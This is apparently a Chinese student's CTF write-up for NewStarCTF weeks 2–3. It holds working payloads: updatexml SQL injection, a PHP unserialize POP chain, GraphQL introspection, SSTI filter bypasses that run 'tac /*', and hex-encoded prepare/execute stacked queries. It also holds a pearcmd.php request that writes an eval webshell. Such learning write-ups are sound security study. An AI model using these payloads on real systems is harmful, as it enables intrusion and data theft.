NewStarCTF 公开赛赛道

week2:

1.报错注入,很简单,也没有任何过滤

playload:

1' union select updatexml(1,concat(0x5e,(select database()),0x5e),1) -- -

1' union select updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='wfy ),0x5e),1) -- -

1' union select updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA='wfy' and TABLE_NAME='wfy_admin' ),0x5e),1) -- -

reverse一下倒着取

1'||updatexml(1,concat(0x7e,(select reverse(group_concat(text)) from wfy_comments)),1)#

得到

最后将回显逆转

收获无

2.文件包含

NewStarCTF 公开赛赛道_第1张图片

 先进行一个代码审计

mt_rand()值为1219893521,伪随机,给了值,爆破出种子就行

NewStarCTF 公开赛赛道_第2张图片

if语句

md5($_POST['guess']) === md5(mt_rand())post guess

NewStarCTF 公开赛赛道_第3张图片

 playload:

NewStarCTF 公开赛赛道_第4张图片

 flagNewStarCTF 公开赛赛道_第5张图片

收获base被禁用rot13

 3.UnserializeOne

反序列化,这类题我觉得是我比较薄弱的地方,好好研究研究:

NewStarCTF 公开赛赛道_第6张图片

 poc链我们这样分析,尾链是Sec-> invoke,倒推        

__invoke()         //当脚本尝试将对象调用为函数时触发

clone() //当把一个对象赋给另一个对象时自动调用

则Easy->call 能调用 eeee->clone eeee->clone的isset函数,则调用 star->isset

而this->func()是将对象当成函数调用触发_invoke()

destruct 中的echo 调用 toString中的check不存在方法触发easy->call

故:Start->__destruct 触发 Sec->__toString 触发 Easy->__call,easy->call中有clone语句,自动
触发 eeee->__clone 触发 Start->__isset 触发 Sec->invoke定义

详细解析覆盖变量:

Start->__destruct 触发 Sec->__toString :

$start->name =$sec;

Sec->__toString 触发 Easy->__call:

$Sec->obj = $ Easy;

Easy->__call触发eeee->__clone ,

eeee->__clone触发Start->__isset:

$eeee->obj=$Start;

最后$Start->isset中

 ($this->func)();

触发invoke完成构造

$Start->func=$sec;

总的playload:

class Start{

    public $name;

    public $func;

}

class Sec{

    public $obj;

    public $var;

}

class Easy{

    public $cla;

}

class eeee{

    public $obj;

}

$start = new Start();

$sec = new Sec();

$easy = new Easy();

$eeee = new eeee();

$eeee->obj = $start;

$sec->obj = $easy;

$sec->var = $eeee;

$start->name = $sec;

$start->func = $sec;

echo serialize($start);

?>

O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}

NewStarCTF 公开赛赛道_第7张图片

打好基础,收获蛮多的,反序列化我一直有大问题,但是一直没管,一直在见识跟多类型的题,学习跟多的知识点,但是这种热门的知识点反而掌握不牢固。过一段时间可能我会去尝试专项练题。巩固自己学到的东西。

4.ezAPI

第一次接触API

NewStarCTF 公开赛赛道_第8张图片

 意思是一个查询器

NewStarCTF 公开赛赛道_第9张图片

也确实是这样的,这个窗口能从他们数据库里拿数据,自然想到sql注入

NewStarCTF 公开赛赛道_第10张图片

过滤,找源码,很简单的源码泄露,直接www.zip就给了,其中有用段,我选取了出来

                                error_reporting(0);
                $id = $_POST['id'];
                function waf($str)
                {
                    if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
                        return False;
                    } else {
                        return True;
                    }
                }

                function send($data)
                {
                    $options = array(
                        'http' => array(
                            'method' => 'POST',
                            'header' => 'Content-type: application/json',
                            'content' => $data,
                            'timeout' => 10 * 60
                        )
                    );
                    $context = stream_context_create($options);
                    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
                    return $result;
                }

                if (isset($id)) {
                    if (waf($id)) {
                        isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
                        $res = json_decode(send($data));
                        if ($res->data->users_user_by_pk->name !== NULL) {
                            echo "ID: " . $id . "
Name: " . $res->data->users_user_by_pk->name;
                        } else {
                            echo "Can't found it!

DEBUG: ";
                            var_dump($res->data);
                        }
                    } else {
                        die("Hacker! Only Number!");
                    }
                } else {
                    die("No Data?");
                }
                ?>

过滤了字符,sql注入不了

NewStarCTF 公开赛赛道_第11张图片

 file_get_contents函数,他是从graphql中拿数据,8080端口,意思是8080端口是可以种病毒的,我读不懂他这句话的意思,他可能是从graphql中拿数据,查一查

NewStarCTF 公开赛赛道_第12张图片

一种数据库

NewStarCTF 公开赛赛道_第13张图片

 NewStarCTF 公开赛赛道_第14张图片

漏洞找到了,

内省查询语句是:

{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

hackbar弄不起,不知道为啥

NewStarCTF 公开赛赛道_第15张图片

 NewStarCTF 公开赛赛道_第16张图片

搜出来接口了,读不来,网上找怎么查询字段,学不会,网上的查询语句都很离谱。比较生气,看wp

playload:

data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}

第三周:

第一题:ssti

?name={{1}}

很骚,{都不过滤,那真的是babyssti了

很骚,我babyssti都有问题,因为以前写笔记从来不写实例,又忘了很多,导致我一开始绕过绕的是这样的

?name={{''.[__'cla'+'ss'__].[__'ba'+'se'__]}}

卡了一会后面查了一会,发现不应该有.拼接也应该包裹全。

?name={{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()}}

然后就是找os,用脚本找,然后得到os在117位置

NewStarCTF 公开赛赛道_第17张图片

{{[].__class__.__base__.__subclasses__()[117].__init__['__glo'+'bals__']['os'].popen('id').read()}}

绕过过滤

?name={{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['popen']('id').read()}}

playload:

过滤了cat flag,tac,tail等绕过一下

{{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['popen']('tac /*').read()}}

得到flag

2.multiSQL

这道题,我不知道是网不好还是什么我库名都找不出来,一注入就断开链接,而且也没有被过滤的提示

1' union select updatexml(1,concat(0x5e,(select database()),0x5e),1) -- -

 看wp做题,updatexml被过滤,select被过滤,

updatexml被过滤,可以通过预编译来绕过, select过滤可以换成show

wp也链接错误,burp也发不过去,应该是服务器关了,那我就看一遍wp

先说说预编译吧,简单来说,预编译就是先set(定义)一个变量@a,然后prepare(准备)一个b从@a那获得,然后execute(执行) b,也就是变相地执行了@a的语句

当然我们还可以利用concat函数来联合@a里的内容,来绕过过滤

利用预编译绕过select 就能直接拿到flag了,构建payload

1.concat()绕过关键词

NewStarCTF 公开赛赛道_第18张图片

当然我们还可以利用concat函数来联合@a里的内容,来绕过过滤

NewStarCTF 公开赛赛道_第19张图片

利用预编译绕过select 就能直接拿到flag了,构建payload

实例:username=1';set @sql=concat('up','date score set listen=123 where username="火华"');prepare sql_exe FROM @sql;execute sql_exe#

2.hex()绕过 @a语句:

set @a = 0x7570646174652073636f726520736574206c697374656e203d2031303020776865726520757365726e616d65203d2027e781abe58d8e273b;prepare smtm_test from @a;execute smtm_test;#

0x7570646174652073636f726520736574206c697374656e203d2031303020776865726520757365726e616d65203d2027e781abe58d8e273b是hex(update score set listen = 100 where username = '火华';)

这里要注意这里是@sql=hex(update score set listen = 100 where username = '火华';);这里分号要注意

flag就没有了,连不上

3.rce

先看一下他的提示内容是什么,我们include本地内容

LFI

本地文件包含 Local File Include (LFI)

所包含文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。

所包含文件内容不符合PHP语法规范,会暴露其源代码(相当于文件读取)。
RFI

远程文件包含 Remote File Include (RFI)

如果要使用远程包含功能,首先需要确定PHP是否已经开启远程包含功能选项(php默认关闭远程包含功能:allow_url_include=off),开启远程包含功能需要在php.ini配置文件中修改。

远程包含与本地包含没有区别,无非是支持远程加载,更容易getsh

没得到一点提示,然后

$_GET['file'].".php"他规定了后缀必须是php。

不会,这道题看了wp知道,他属于我的知识盲区。

Docker PHP裸文件本地包含综述 | 离别歌首先要研究这篇博客,其中提到的第6个点

pearcmd.php的巧妙利用

大致不介绍了,核心是语句,他能实现任意包含功能到固定文件

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

 发送这个数据包,目标将会写入一个文件/tmp/hello.php,其内容包含

看了很久wp,觉得确实很精妙,他是一个这样的操作,先把一个eval(post=-)写入一个文件,相当于是一个,然后我们在用include,进入写入的文件,再通过,post :-=system(‘’)来构造出攻击语句。

不知道哪有问题,flag出不来

4.thinkphp

页面错误!请稍后再试~

ThinkPHP V5.1.41 LTS { 十年磨一剑-为API开发设计的高性能框架 }

前面做过thinkphp的题目,反序列化

他给了thinkphp版本,直接对着找漏洞

Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现与分析 - FreeBuf网络安全行业门户

这里有一个输入框
确定是反序列化漏洞

  服务器关了,

wp说这道题可以直接用网上的ep打,就是我上面那个网址

week 4:

1.rce:

$a绕过

你可能感兴趣的:(数据库,sql,1024程序员节)